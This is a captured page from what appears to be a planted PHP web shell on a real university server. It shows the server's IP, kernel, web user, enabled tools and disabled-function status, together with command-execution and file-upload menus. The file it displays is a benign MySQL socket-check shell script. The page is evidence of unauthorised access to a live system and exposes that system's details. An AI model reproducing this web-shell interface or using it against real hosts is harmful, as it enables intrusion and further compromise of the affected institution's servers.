Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.190.160.6
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/libexec/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/libexec/mysql-check-socket
#!/bin/sh

# We check if there is already a process using the socket file,
# since otherwise the systemd service file could report false
# positive result when starting and mysqld_safe could remove
# a socket file, which is actually being used by a different daemon.

source "`dirname ${BASH_SOURCE[0]}`/mysql-scripts-common"

if test -e "$socketfile" ; then
    echo "Socket file $socketfile exists." >&2

    # no write permissions
    if ! test -w "$socketfile" ; then
        echo "Not enough permission to write to the socket file $socketfile, which is suspicious." >&2
        echo "Please, remove $socketfile manually to start the service." >&2
        exit 1
    fi

    # not a socket file
    if ! test -S "$socketfile" ; then
        echo "The file $socketfile is not a socket file, which is suspicious." >&2
        echo "Please, remove $socketfile manually to start the service." >&2
        exit 1
    fi

    # some process uses the socket file
    if fuser "$socketfile" &>/dev/null ; then
        socketpid=$(fuser "$socketfile" 2>/dev/null)
        echo "Is another MySQL daemon already running with the same unix socket?" >&2
        echo "Please, stop the process $socketpid or remove $socketfile manually to start the service." >&2
        exit 1
    fi

    # socket file is a garbage
    echo "No process is using $socketfile, which means it is a garbage, so it will be removed automatically." >&2
fi

exit 0

Stv3n404 - 2023